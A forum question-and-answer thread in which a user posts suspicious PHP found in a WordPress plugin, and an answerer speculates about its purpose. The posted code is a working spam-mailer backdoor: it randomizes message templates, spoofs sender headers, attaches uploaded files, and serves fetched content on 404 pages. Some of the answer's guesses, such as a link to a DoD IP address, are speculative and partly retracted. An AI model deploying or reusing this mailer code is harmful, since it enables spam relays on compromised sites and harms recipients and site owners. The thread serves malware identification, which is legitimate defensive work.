$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(#mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',#$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("#", $content);
$content = $tokens[0] . "#" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = #fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
#fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !#feof($fp) )
{
$res .= #fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return #is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
#fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
Edit: Apparently, I am doing something wrong with my question (2 instant downvotes). If you could tell me what I am doing wrong, I will try to correct it/remove my question.
This is a fun one, while I haven't a lot of time right now to look over the code I can give you some generalizations of common injections and attacks on websites, in particular a CMS like WordPress. Although this as a part of a plugin, may just be a malicious plugin and not an injection attack, or it may be a flaw or exploit in the plugin being used.
Initial observation, the code comments in Russian stand out.
This code looks like it might be for a spam relay. Taking messages and trying to leverage whatever sendmail you have setup. That's just a high level guess right now.
Most attacks but not necessarily this one are generally geared and trying to deliver malware to visitors to the site, they usually use active-x or iframe tricks, I didn't see any of that here so it leads me to believe that #2 is more likely.
This may also be trying to index all the content of your site/server that it can, and then send it out to the attacker so that they can sift the data looking for important information like config files and passwords.
I will do a deeper dive into this code when i'm not at work :) because I love this stuff. In the meantime you'll probably get a better response from the security stack pages than stack overflow or like I mentioned in my comment, check with the the hackers of http://hackthissite.org on this one. If this was an exploit, they might even be able to track down the author and the specific exploit. Generally code like this is used as part of a more generic tool that probes and attacks, a bot and is not the work of an actual person. You should also possibly share the name of the plugin, as it may be malicious or a known exploit may be published.
Either way, you need to perform a deep security screening on the site in question, and assume that you've been hacked, and take all the proper steps accordingly.
-- Edit --
This code block is interesting:
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
One of those IP's resolve to Fort Huachuca Dod Network Information Center. I'm probably going to delete this answer now... (turns out this may not be an IP but a version number.. my paranoia got the best of me) - you should probably post this question here instead: https://security.stackexchange.com/ to avoid more downvotes.